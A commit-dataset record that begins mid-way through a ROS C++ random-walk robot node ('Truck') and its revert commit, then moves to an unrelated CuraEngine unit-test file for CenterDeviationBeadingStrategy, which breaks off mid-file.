new publisher for the simulated robot's velocity command topic\n\t\t\/\/ (the second argument indicates that if multiple command messages are in\n\t\t\/\/ the queue to be sent, only the last command will be sent)\n\t\tros::NodeHandle n;\n\t\tcommandPub = nh.advertise<geometry_msgs::Twist>(\"robot_2\/cmd_vel\",1000);\n\t\ttruckPosPub = nh.advertise<std_msgs::String>(\"truck_position\",1000);\n\t\t\/\/ Subscribe to the simulated robot's laser scan topic and tell ROS to call\n\t\t\/\/ this->commandCallback() whenever a new message is published on that topic\n\t\tlaserSub = nh.subscribe<sensor_msgs::LaserScan>(\"robot_2\/base_scan\", 1000, &RandomWalk::commandCallback, this);\n\t\tStageOdo_sub = nh.subscribe<nav_msgs::Odometry>(\"robot_2\/odom\",1000, &RandomWalk::StageOdom_callback,this);\n\t\t\/\/ros::Subscriber StageOdo_sub = n.subscribe<nav_msgs::Odometry>(\"robot_0\/odom\",1000, StageOdom_callback);\n\n\t};\n\n\tvoid StageOdom_callback(nav_msgs::Odometry msg)\n\t{\n\t\t\/\/This is the call back function to process odometry messages coming from Stage. \t\t\n\t\t\n\t\tpx = -3 + msg.pose.pose.position.x;\n\t\tpy = -3 + msg.pose.pose.position.y;\n\t\t\/\/printf(\"%f\",px);\n\t\t\n\t\t\/\/ If the current position is the same the previous position, then the robot is stuck and needs to move around\n\t\tif ((px == prevpx) && (py == prevpy)) {\n\t\t\t\/\/msg.pose.pose.position.x = 5;\n\t\t\t\/\/ROS_INFO(\"Prevpx: %f\",prevpx);\n\n\t\t\t\/\/ Note the negative linear_x\t\t\n\t\t\t\/\/linear_x=-0.2;\n\t\t\t\/\/angular_z=1;\n\n\t\t\t\/\/theta=10;\n\t\t\t\/\/px = 5;\n\t\t\t\/\/py= 5;\n\t\t\t\/\/printf(\"Robot stuck\");\n\t\t\tif (!isRotate) {\t\n\t\t\t\tROS_INFO(\"Truck stuck\");\n\t\t\t\tdouble r2 = (double)rand()\/((double)RAND_MAX\/(M_PI\/2));\n\t\t\t\tdouble m2 = (double)rand()\/((double)RAND_MAX\/0.5);\n\t\t\t\t\/\/ROS_INFO(\"r2\" << r2);\n\t\t\t\tmove(-m2, r2);\n\t\t\t\t\n\t\t\t}\t\n\t\t} else {\n\t\t\t\/\/ One the robot becomes unstuck, then it moves around again normally\n\t\t\t\/\/linear_x = 0.2;\n\t\t\t\/\/angular_z = 0.2;\n\t\t\t\/\/ROS_INFO(\"Robot unstuck\");\n\t\t\t\/\/checkcount=0;\n\t\t}\n\t\tROS_INFO(\"Truck -- Current x position is: %f\", px);\n\t\tROS_INFO(\"Truck -- Current y position is: %f\", py);\n\t\tprevpx = px;\n\t\tprevpy = py;\n\t};\n\n\n\t\/\/ Send a velocity command\n\tvoid move(double linearVelMPS, double angularVelRadPS) {\n\t\tgeometry_msgs::Twist msg; \/\/ The default constructor will set all commands to 0\n\t\tmsg.linear.x = linearVelMPS;\n\t\tmsg.angular.z = angularVelRadPS;\n\t\tcommandPub.publish(msg);\n\t};\n\n\t\n\n\n\t\/\/ Process the incoming laser scan message\n\tvoid commandCallback(const sensor_msgs::LaserScan::ConstPtr& msg) {\n\t\tif (fsm == FSM_MOVE_FORWARD) {\n\t\t\t\/\/ Compute the average range value between MIN_SCAN_ANGLE and MAX_SCAN_ANGLE\n\t\t\t\/\/\n\t\t\t\/\/ NOTE: ideally, the following loop should have additional checks to ensure\n\t\t\t\/\/ that indices are not out of bounds, by computing:\n\t\t\t\/\/\n\t\t\t\/\/- currAngle = msg->angle_min + msg->angle_increment*currIndex\n\t\t\t\/\/\n\t\t\t\/\/ and then ensuring that currAngle <= msg->angle_max\n\t\t\tunsigned int minIndex = ceil((MIN_SCAN_ANGLE_RAD - msg->angle_min) \/ msg->angle_increment);\n\t\t\tunsigned int maxIndex = ceil((MAX_SCAN_ANGLE_RAD - msg->angle_min) \/ msg->angle_increment);\n\t\t\tfloat closestRange = msg->ranges[minIndex];\n\t\t\t\n\t\t\tfor (unsigned int currIndex = minIndex + 1; currIndex < maxIndex; currIndex++) {\n\t\t\t\tif (msg->ranges[currIndex] < closestRange) {\n\t\t\t\t\tclosestRange = msg->ranges[currIndex];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/if (closestRange == prevclosestRange) {\n\t\t\t\/\/\tROS_INFO_STREAM(\"STUCK\");\n\t\t\t\/\/\tmove(-FORWARD_SPEED_MPS, ROTATE_SPEED_RADPS);\n\t\t\t\/\/\t\/\/move(0, ROTATE_SPEED_RADPS);\n\t\t\t\/\/} else {\n\t\t\t\t\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Range: \" << closestRange);\n\t\t\t\tprevclosestRange = closestRange;\n\t\t\t\tif (closestRange < PROXIMITY_RANGE_M) {\n\t\t\t\t\tfsm=FSM_ROTATE;\n\t\t\t\t\trotateStartTime=ros::Time::now();\n\t\t\t\t\tfloat r2 = (float)rand()\/((float)RAND_MAX\/100);\n\t\t\t\t\trotateDuration=ros::Duration(rand() % 2);\n\t\t\t\t\t\/\/fsm= FSM_MOVE_FORWARD;\n\t\t\t\t}\n\t\t\t\/\/}\n\n\t\t}\n\t};\n\t\/\/ Main FSM loop for ensuring that ROS messages are\n\t\/\/ processed in a timely manner, and also for sending\n\t\/\/ velocity controls to the simulated robot based on the FSM state\n\tvoid spin() {\n\t\tros::Rate rate(10); \/\/ Specify the FSM loop rate in Hz\n\t\twhile (ros::ok()) { \/\/ Keep spinning loop until user presses Ctrl+C\n\t\t\tstd_msgs::String msg;\n\t\t\tstd::stringstream ss;\n\t\t\tss << \"Truck -- px:\" << px << \" py:\" << py << \" theta:\" << theta << \" isRotate:\" << isRotate;\n \t\t\tmsg.data = ss.str();\n \t\t\t\n \t\t\t\/\/ROS_INFO(\"%s\", msg.data.c_str());\n \t\t\t\n\t\t\tif (fsm == FSM_MOVE_FORWARD) {\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Start forward\");\n\t\t\t\tmove(FORWARD_SPEED_MPS, 0);\n\t\t\t\tcheckcount++;\n\t\t\t\tif (checkcount > 3) {\n\t\t\t\t\tisRotate=false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (fsm == FSM_ROTATE) {\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Start rotate\");\n\t\t\t\tmove(0, ROTATE_SPEED_RADPS);\n\t\t\t\trotateEndTime=ros::Time::now();\n\t\t\t\tisRotate=true;\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Time: \" << rotateEndTime);\n\t\t\t\t\n\t\t\t\tif ((rotateEndTime - rotateStartTime) > rotateDuration) {\n\t\t\t\t\tfsm=FSM_MOVE_FORWARD;\n\t\t\t\t\t\/\/ROS_INFO_STREAM(\"End rotate\");\n\t\t\t\t\tcheckcount=0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\ttruckPosPub.publish(msg);\n\n\t\tros::spinOnce(); \/\/ Need to call this function often to allow ROS to process incoming messages\n\t\trate.sleep(); \/\/ Sleep for the rest of the cycle, to enforce the FSM loop rate\n\t\t}\n\t};\n\tenum FSM {FSM_MOVE_FORWARD, FSM_ROTATE};\n\t\/\/ Tunable parameters\n\t\/\/ TODO: tune parameters as you see fit\n\tconst static double MIN_SCAN_ANGLE_RAD = -10.0\/180*M_PI;\n\tconst static double MAX_SCAN_ANGLE_RAD = +10.0\/180*M_PI;\n\tconst static float PROXIMITY_RANGE_M = 4; \/\/ Should be smaller than sensor_msgs::LaserScan::range_max\n\tconst static double FORWARD_SPEED_MPS = 2;\n\tconst static double ROTATE_SPEED_RADPS = M_PI\/2;\n\t\n\tprotected:\n\tros::Publisher commandPub; \/\/ Publisher to the simulated robot's velocity command topic\n\tros::Publisher truckPosPub;\n\tros::Subscriber laserSub; \/\/ Subscriber to the simulated robot's laser scan topic\n\tenum FSM fsm; \/\/ Finite state machine for the random walk algorithm\n\tros::Time rotateStartTime; \/\/ Start time of the rotation\n\tros::Time rotateEndTime;\n\tros::Duration rotateDuration; \/\/ Duration of the rotation\n\tros::Subscriber StageOdo_sub;\n\t\n\n};\nint main(int argc, char **argv) {\n\tros::init(argc, argv, \"Trust\"); \/\/ Initiate new ROS node named \"Truck\"\n\tROS_INFO(\"This node is: Truck\");\n\tros::NodeHandle n;\n\tprevpx = 0;\n\tprevpx= 0;\n\tRandomWalk walker(n); \/\/ Create new random walk object\n\twalker.spin(); \/\/ Execute FSM loop\n\treturn 0;\n};\n\n\n<commit_msg>Revert \"Fixing Truck. Work in progress, saving changes with commit\"<commit_after>#include \"ros\/ros.h\"\n#include \"geometry_msgs\/Twist.h\"\n#include \"sensor_msgs\/LaserScan.h\"\n#include <nav_msgs\/Odometry.h>\n#include \"std_msgs\/String.h\"\n\n\n#include <cstdlib> \/\/ Needed for rand()\n#include <ctime> \/\/ Needed to seed random number generator with a time value\n\nfloat prevclosestRange = 0;\ndouble linear_x;\ndouble angular_z;\n\n\/\/pose of the robot\ndouble px;\ndouble py;\ndouble theta;\ndouble prevpx;\ndouble prevpy;\nbool isRotate;\n\nint checkcount=0;\n\nclass RandomWalk {\n\t\tpublic:\n\t\t\/\/ Construst a new RandomWalk object and hook up this ROS node\n\t\t\/\/ to the simulated robot's velocity control and laser topics\n\t\tRandomWalk(ros::NodeHandle& nh) :\n\t\tfsm(FSM_MOVE_FORWARD),\n\t\trotateStartTime(ros::Time::now()),\n\t\trotateDuration(0.f) {\n\t\t\/\/ Initialize random time generator\n\t\tsrand(time(NULL));\n\t\t\/\/ Advertise a new publisher for the simulated robot's velocity command topic\n\t\t\/\/ (the second argument indicates that if multiple command messages are in\n\t\t\/\/ the queue to be sent, only the last command will be sent)\n\t\tros::NodeHandle n;\n\t\tcommandPub = nh.advertise<geometry_msgs::Twist>(\"robot_2\/cmd_vel\",1000);\n\t\ttruckPosPub = nh.advertise<std_msgs::String>(\"truck_position\",1000);\n\t\t\/\/ Subscribe to the simulated robot's laser scan topic and tell ROS to call\n\t\t\/\/ this->commandCallback() whenever a new message is published on that topic\n\t\tlaserSub = nh.subscribe<sensor_msgs::LaserScan>(\"robot_2\/base_scan\", 1000, &RandomWalk::commandCallback, this);\n\t\tStageOdo_sub = nh.subscribe<nav_msgs::Odometry>(\"robot_2\/odom\",1000, &RandomWalk::StageOdom_callback,this);\n\t\t\/\/ros::Subscriber StageOdo_sub = n.subscribe<nav_msgs::Odometry>(\"robot_0\/odom\",1000, StageOdom_callback);\n\n\t};\n\n\tvoid StageOdom_callback(nav_msgs::Odometry msg)\n\t{\n\t\t\/\/This is the call back function to process odometry messages coming from Stage. \t\t\n\t\t\n\t\tpx = -3 + msg.pose.pose.position.x;\n\t\tpy = -3 + msg.pose.pose.position.y;\n\t\t\/\/printf(\"%f\",px);\n\t\t\n\t\t\/\/ If the current position is the same the previous position, then the robot is stuck and needs to move around\n\t\tif ((px == prevpx) && (py == prevpy)) {\n\t\t\t\/\/msg.pose.pose.position.x = 5;\n\t\t\t\/\/ROS_INFO(\"Prevpx: %f\",prevpx);\n\n\t\t\t\/\/ Note the negative linear_x\t\t\n\t\t\t\/\/linear_x=-0.2;\n\t\t\t\/\/angular_z=1;\n\n\t\t\t\/\/theta=10;\n\t\t\t\/\/px = 5;\n\t\t\t\/\/py= 5;\n\t\t\t\/\/printf(\"Robot stuck\");\n\t\t\tif (!isRotate) {\t\n\t\t\t\tROS_INFO(\"Truck stuck\");\n\t\t\t\tdouble r2 = (double)rand()\/((double)RAND_MAX\/(M_PI\/2));\n\t\t\t\tdouble m2 = (double)rand()\/((double)RAND_MAX\/0.5);\n\t\t\t\t\/\/ROS_INFO(\"r2\" << r2);\n\t\t\t\tmove(-m2, r2);\n\t\t\t\t\n\t\t\t}\t\n\t\t} else {\n\t\t\t\/\/ One the robot becomes unstuck, then it moves around again normally\n\t\t\t\/\/linear_x = 0.2;\n\t\t\t\/\/angular_z = 0.2;\n\t\t\t\/\/ROS_INFO(\"Robot unstuck\");\n\t\t\t\/\/checkcount=0;\n\t\t}\n\t\tROS_INFO(\"Truck -- Current x position is: %f\", px);\n\t\tROS_INFO(\"Truck -- Current y position is: %f\", py);\n\t\tprevpx = px;\n\t\tprevpy = py;\n\t};\n\n\n\t\/\/ Send a velocity command\n\tvoid move(double linearVelMPS, double angularVelRadPS) {\n\t\tgeometry_msgs::Twist msg; \/\/ The default constructor will set all commands to 0\n\t\tmsg.linear.x = linearVelMPS;\n\t\tmsg.angular.z = angularVelRadPS;\n\t\tcommandPub.publish(msg);\n\t};\n\n\t\n\n\n\t\/\/ Process the incoming laser scan message\n\tvoid commandCallback(const sensor_msgs::LaserScan::ConstPtr& msg) {\n\t\tif (fsm == FSM_MOVE_FORWARD) {\n\t\t\t\/\/ Compute the average range value between MIN_SCAN_ANGLE and MAX_SCAN_ANGLE\n\t\t\t\/\/\n\t\t\t\/\/ NOTE: ideally, the following loop should have additional checks to ensure\n\t\t\t\/\/ that indices are not out of bounds, by computing:\n\t\t\t\/\/\n\t\t\t\/\/- currAngle = msg->angle_min + msg->angle_increment*currIndex\n\t\t\t\/\/\n\t\t\t\/\/ and then ensuring that currAngle <= msg->angle_max\n\t\t\tunsigned int minIndex = ceil((MIN_SCAN_ANGLE_RAD - msg->angle_min) \/ msg->angle_increment);\n\t\t\tunsigned int maxIndex = ceil((MAX_SCAN_ANGLE_RAD - msg->angle_min) \/ msg->angle_increment);\n\t\t\tfloat closestRange = msg->ranges[minIndex];\n\t\t\t\n\t\t\tfor (unsigned int currIndex = minIndex + 1; currIndex < maxIndex; currIndex++) {\n\t\t\t\tif (msg->ranges[currIndex] < closestRange) {\n\t\t\t\t\tclosestRange = msg->ranges[currIndex];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/if (closestRange == prevclosestRange) {\n\t\t\t\/\/\tROS_INFO_STREAM(\"STUCK\");\n\t\t\t\/\/\tmove(-FORWARD_SPEED_MPS, ROTATE_SPEED_RADPS);\n\t\t\t\/\/\t\/\/move(0, ROTATE_SPEED_RADPS);\n\t\t\t\/\/} else {\n\t\t\t\t\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Range: \" << closestRange);\n\t\t\t\tprevclosestRange = closestRange;\n\t\t\t\tif (closestRange < PROXIMITY_RANGE_M) {\n\t\t\t\t\tfsm=FSM_ROTATE;\n\t\t\t\t\trotateStartTime=ros::Time::now();\n\t\t\t\t\tfloat r2 = (float)rand()\/((float)RAND_MAX\/100);\n\t\t\t\t\trotateDuration=ros::Duration(rand() % 2);\n\t\t\t\t\t\/\/fsm= FSM_MOVE_FORWARD;\n\t\t\t\t}\n\t\t\t\/\/}\n\n\t\t}\n\t};\n\t\/\/ Main FSM loop for ensuring that ROS messages are\n\t\/\/ processed in a timely manner, and also for sending\n\t\/\/ velocity controls to the simulated robot based on the FSM state\n\tvoid spin() {\n\t\tros::Rate rate(10); \/\/ Specify the FSM loop rate in Hz\n\t\twhile (ros::ok()) { \/\/ Keep spinning loop until user presses Ctrl+C\n\t\t\tstd_msgs::String msg;\n\t\t\tstd::stringstream ss;\n\t\t\tss << \"Truck -- px:\" << px << \" py:\" << py << \" theta:\" << theta << \" isRotate:\" << isRotate;\n \t\t\tmsg.data = ss.str();\n \t\t\t\n \t\t\t\/\/ROS_INFO(\"%s\", msg.data.c_str());\n \t\t\t\n\t\t\tif (fsm == FSM_MOVE_FORWARD) {\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Start forward\");\n\t\t\t\tmove(FORWARD_SPEED_MPS, 0);\n\t\t\t\tcheckcount++;\n\t\t\t\tif (checkcount > 3) {\n\t\t\t\t\tisRotate=false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (fsm == FSM_ROTATE) {\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Start rotate\");\n\t\t\t\tmove(0, ROTATE_SPEED_RADPS);\n\t\t\t\trotateEndTime=ros::Time::now();\n\t\t\t\tisRotate=true;\n\t\t\t\t\/\/ROS_INFO_STREAM(\"Time: \" << rotateEndTime);\n\t\t\t\t\n\t\t\t\tif ((rotateEndTime - rotateStartTime) > rotateDuration) {\n\t\t\t\t\tfsm=FSM_MOVE_FORWARD;\n\t\t\t\t\t\/\/ROS_INFO_STREAM(\"End rotate\");\n\t\t\t\t\tcheckcount=0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\ttruckPosPub.publish(msg);\n\n\t\tros::spinOnce(); \/\/ Need to call this function often to allow ROS to process incoming messages\n\t\trate.sleep(); \/\/ Sleep for the rest of the cycle, to enforce the FSM loop rate\n\t\t}\n\t};\n\tenum FSM {FSM_MOVE_FORWARD, FSM_ROTATE};\n\t\/\/ Tunable parameters\n\t\/\/ TODO: tune parameters as you see fit\n\tconst static double MIN_SCAN_ANGLE_RAD = -10.0\/180*M_PI;\n\tconst static double MAX_SCAN_ANGLE_RAD = +10.0\/180*M_PI;\n\tconst static float PROXIMITY_RANGE_M = 1; \/\/ Should be smaller than sensor_msgs::LaserScan::range_max\n\tconst static double FORWARD_SPEED_MPS = 2;\n\tconst static double ROTATE_SPEED_RADPS = M_PI\/2;\n\t\n\tprotected:\n\tros::Publisher commandPub; \/\/ Publisher to the simulated robot's velocity command topic\n\tros::Publisher truckPosPub;\n\tros::Subscriber laserSub; \/\/ Subscriber to the simulated robot's laser scan topic\n\tenum FSM fsm; \/\/ Finite state machine for the random walk algorithm\n\tros::Time rotateStartTime; \/\/ Start time of the rotation\n\tros::Time rotateEndTime;\n\tros::Duration rotateDuration; \/\/ Duration of the rotation\n\tros::Subscriber StageOdo_sub;\n\t\n\n};\nint main(int argc, char **argv) {\n\tros::init(argc, argv, \"Trust\"); \/\/ Initiate new ROS node named \"Truck\"\n\tROS_INFO(\"This node is: Truck\");\n\tros::NodeHandle n;\n\tprevpx = 0;\n\tprevpx= 0;\n\tRandomWalk walker(n); \/\/ Create new random walk object\n\twalker.spin(); \/\/ Execute FSM loop\n\treturn 0;\n};\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/Copyright (c) 2021 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include <gtest\/gtest.h>\n\n#include \"..\/..\/src\/BeadingStrategy\/CenterDeviationBeadingStrategy.h\" \/\/Code under test.\n\nnamespace cura\n{\n\n\/*!\n * Tests calling the constructor of the CenterDeviationBeadingStrategy and\n * whether it sets members correctly.\n *\/\nTEST(CenterDeviationBeadingStrategy, Construction)\n{\n CenterDeviationBeadingStrategy strategy(400, 0.6, 0.5, 0.5); \/\/Pretty standard settings.\n EXPECT_EQ(strategy.getSplitMiddleThreshold(), 200) << \"Since the transition threshold was 50%, the minimum line width should be 0.5 times the preferred width.\";\n strategy = CenterDeviationBeadingStrategy(400, 0.6, 0, 0);\n EXPECT_EQ(strategy.getSplitMiddleThreshold(), 0) << \"Since the transition threshold was 0%, the minimum line width should be 0.\";\n strategy = CenterDeviationBeadingStrategy(0, 0.6, 0.5, 0.5);\n EXPECT_EQ(strategy.getSplitMiddleThreshold(), 0) << \"Since the line width was 0%, the minimum line width should also be 0.\";\n strategy = CenterDeviationBeadingStrategy(400, 0.6, 1, 1);\n EXPECT_EQ(strategy.getSplitMiddleThreshold(), 400) << \"Since the transition threshold was 100%, the minimum line width equals the preferred width.\";\n}\n\n\/*!\n * Tests getting the optimal thickness with Center Deviation.\n *\n * This should simply be a multiplication of the line width, when using Center\n * Deviation. It doesn't adjust the line widths by itself.\n *\/\nTEST(CenterDeviationBeadingStrategy, GetOptimalThickness)\n{\n constexpr coord_t line_width = 400;\n CenterDeviationBeadingStrategy strategy(line_width, 0.6, 0.5, 0.5);\n EXPECT_EQ(strategy.getOptimalThickness(0), 0) << \"With 0 beads, you'll fill 0 space.\";\n EXPECT_EQ(strategy.getOptimalThickness(1), line_width) << \"With 1 bead, optimally you'll want to print that bead at the optimal line width.\";\n EXPECT_EQ(strategy.getOptimalThickness(4), 4 * line_width) << \"With 4 beads, optimally fill 4 line widths.\";\n}\n\n\/*!\n * Test getting the width at which we need to transition to a greater number of\n * lines.\n *\/\nTEST(CenterDeviationBeadingStrategy, GetTransitionThickness)\n{\n constexpr coord_t line_width = 400;\n\n \/\/Transition ratio 25%.\n CenterDeviationBeadingStrategy strategy(line_width, 0.6, 0.25, 0.25);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0.25 * line_width) << \"The transition from 0 beads to 1 happens at 25% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 1.25 * line_width) << \"The transition from 1 bead to 2 happens at 125% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(4), 4.25 * line_width) << \"The transition from 4 beads to 5 happens at 4 + 25% line width.\";\n\n \/\/Transition ratio 50%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0.5, 0.5);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0.5 * line_width) << \"The transition from 0 beads to 1 happens at 50% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 1.5 * line_width) << \"The transition from 1 bead to 2 happens at 150% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(5), 5.5 * line_width) << \"The transition from 5 beads to 6 happens at 5 + 50% line width.\";\n\n \/\/Transition ratio 95%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0.95, 0.95);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0.95 * line_width) << \"The transition from 0 beads to 1 happens at 95% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 1.95 * line_width) << \"The transition from 1 bead to 2 happens at 195% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(3), 3.95 * line_width) << \"The transition from 3 beads to 4 happens at 3 + 95% line width.\";\n\n \/\/Transition ratio 100%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 1, 1);\n EXPECT_EQ(strategy.getTransitionThickness(0), line_width) << \"Only transition to have a line if it fits completely.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 2 * line_width) << \"Only transition to have two lines if they both fit completely.\";\n EXPECT_EQ(strategy.getTransitionThickness(2), 3 * line_width) << \"Only transition to have three lines if they all fit completely.\";\n\n \/\/Transition ratio 0%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0, 0);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0) << \"Always transition to 1 line. The minimum line width is 0 after all.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), line_width) << \"If 1 line fits completely, immediately transition to 2 lines.\";\n EXPECT_EQ(strategy.getTransitionThickness(6), 6 * line_width) << \"If 6 lines fit completely, immediately transition to 7 lines.\";\n}\n\n\/*!\n * Test getting the optimal bead count for a given shape width.\n *\/\nTEST(CenterDeviationBeadingStrategy, GetOptimalBeadCount)\n{\n constexpr coord_t line_width = 400;\n\n \/\/Transition ratio 25%.\n CenterDeviationBeadingStrategy strategy(line_width, 0.6, 0.25, 0.25);\n \/\/Anything below 25% line width should then produce 0 lines.\n for(coord_t width = 0; width < 0.25 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 0) << \"Width is below the transition thickness from 0 to 1 line, so it should produce 0 lines.\";\n }\n EXPECT_LE(strategy.getOptimalBeadCount(0.25 * line_width), 1) << \"At exactly the transition thickness, either 0 or 1 line is acceptable.\";\n for(coord_t width = 0.25 * line_width + 1; width < 1.25 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 1) << \"Width is above the transition thickness from 0 to 1 line but below 1 to 2 lines, so it should produce 1 line.\";\n }\n EXPECT_TRUE(strategy.getOptimalBeadCount(1.25 * line_width) == 1 || strategy.getOptimalBeadCount(1.25 * line_width) == 2) << \"At exactly 125% line width, either 1 or 2 lines is acceptable.\";\n for(coord_t width = 1.25 * line_width + 1; width < 2.25 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 2) << \"Width is above the transition thickness from 1 to 2 lines but below 2 to 3 lines, so it should produce 2 lines.\";\n }\n\n \/\/Transition ratio 80%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0.8, 0.8);\n \/\/Anything below 80% line width should then produce 0 lines.\n for(coord_t width = 0; width < 0.8 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 0) << \"Width is below the transition thickness from 0 to 1 line, so it should produce 0 lines.\";\n }\n EXPECT_LE(strategy.getOptimalBeadCount(0.8 * line_width), 1) << \"At exactly the transition thickness, either 0 or 1 line is acceptable.\";\n for(coord_t width = 0.8 * line_width + 1; width < 1.8 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 1) << \"Width is above the transition thickness from 0 to 1 line but below 1 to 2 lines, so it should produce 1 line.\";\n }\n EXPECT_TRUE(strategy.getOptimalBeadCount(1.8 * line_width) == 1 || strategy.getOptimalBeadCount(1.8 * line_width) == 2) << \"At exactly 180% line width, either 1 or 2 lines is acceptable.\";\n for(coord_t width = 1.8 * line_width + 1; width < 2.8 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 2) << \"Width is above the transition thickness from 1 to 2 lines but below 2 to 3 lines, so it should produce 2 lines.\";\n }\n}\n\n\/*!\n * Tests whether the line compactness setting does what it is supposed to do,\n * producing fewer, wider lines when the setting is high than when the setting\n * is low.\n *\n * This is a test for requirements. The exact outcome of a function is not\n * tested, but properties of the outcome is tested.\n *\/\nTEST(CenterDeviationBeadingStrategy, LineCompactnessMonotonic)\n{\n constexpr coord_t line_width = 400;\n constexpr coord_t widths[] = {0, 1, 99, 101, 150, 200, 299, 300, 301, 399, 400, 401, 410, 450, 500, 660, 770, 880, 910, 1000, 1200}; \/\/Bunch of widths to test with.\n constexpr float compactnesses[] = {0, 0.1, 0.2, 0.24, 0.25, 0.26, 0.3, 0.5, 0.7, 0.75, 0.99, 1}; \/\/Bunch of line compactness factors to test with.\n constexpr size_t num_compactnesses = sizeof(compactnesses) \/ sizeof(float);\n\n for(coord_t width : widths)\n {\n for(size_t low_index = 0; low_index < num_compactnesses; ++low_index)\n {\n const float low_compactness = compactnesses[low_index];\n for(size_t high_index = low_index; high_index < num_compactnesses; ++high_index)\n {\n const float high_compactness = compactnesses[high_index];\n\n EXPECT_GE(\n CenterDeviationBeadingStrategy(line_width, 0.6, low_compactness, low_compactness).getOptimalBeadCount(width),\n CenterDeviationBeadingStrategy(line_width, 0.6, high_compactness, high_compactness).getOptimalBeadCount(width)\n ) << \"When the compactness is low, the number of beads should always be greater or equal to when the compactness is high.\";\n }\n }\n }\n}\n\n}<commit_msg>'Fix' test 'Construction of Center-Deviation Strategy'.<commit_after>\/\/Copyright (c) 2021 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include <gtest\/gtest.h>\n\n#include \"..\/..\/src\/BeadingStrategy\/CenterDeviationBeadingStrategy.h\" \/\/Code under test.\n\nnamespace cura\n{\n\n\/*!\n * Tests calling the constructor of the CenterDeviationBeadingStrategy and\n * whether it sets members correctly.\n *\/\nTEST(CenterDeviationBeadingStrategy, Construction)\n{\n CenterDeviationBeadingStrategy strategy(400, 0.6, 0.5, 0.75);\n EXPECT_EQ(strategy.getSplitMiddleThreshold(), 0.5) << \"Split-middle threshold should be the one it's constructed with.\";\n EXPECT_EQ(strategy.getAddMiddleThreshold(), 0.75) << \"Add-middle threshold should be the one it's constructed with.\";\n}\n\n\/*!\n * Tests getting the optimal thickness with Center Deviation.\n *\n * This should simply be a multiplication of the line width, when using Center\n * Deviation. It doesn't adjust the line widths by itself.\n *\/\nTEST(CenterDeviationBeadingStrategy, GetOptimalThickness)\n{\n constexpr coord_t line_width = 400;\n CenterDeviationBeadingStrategy strategy(line_width, 0.6, 0.5, 0.5);\n EXPECT_EQ(strategy.getOptimalThickness(0), 0) << \"With 0 beads, you'll fill 0 space.\";\n EXPECT_EQ(strategy.getOptimalThickness(1), line_width) << \"With 1 bead, optimally you'll want to print that bead at the optimal line width.\";\n EXPECT_EQ(strategy.getOptimalThickness(4), 4 * line_width) << \"With 4 beads, optimally fill 4 line widths.\";\n}\n\n\/*!\n * Test getting the width at which we need to transition to a greater number of\n * lines.\n *\/\nTEST(CenterDeviationBeadingStrategy, GetTransitionThickness)\n{\n constexpr coord_t line_width = 400;\n\n \/\/Transition ratio 25%.\n CenterDeviationBeadingStrategy strategy(line_width, 0.6, 0.25, 0.25);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0.25 * line_width) << \"The transition from 0 beads to 1 happens at 25% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 1.25 * line_width) << \"The transition from 1 bead to 2 happens at 125% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(4), 4.25 * line_width) << \"The transition from 4 beads to 5 happens at 4 + 25% line width.\";\n\n \/\/Transition ratio 50%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0.5, 0.5);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0.5 * line_width) << \"The transition from 0 beads to 1 happens at 50% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 1.5 * line_width) << \"The transition from 1 bead to 2 happens at 150% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(5), 5.5 * line_width) << \"The transition from 5 beads to 6 happens at 5 + 50% line width.\";\n\n \/\/Transition ratio 95%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0.95, 0.95);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0.95 * line_width) << \"The transition from 0 beads to 1 happens at 95% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 1.95 * line_width) << \"The transition from 1 bead to 2 happens at 195% line width.\";\n EXPECT_EQ(strategy.getTransitionThickness(3), 3.95 * line_width) << \"The transition from 3 beads to 4 happens at 3 + 95% line width.\";\n\n \/\/Transition 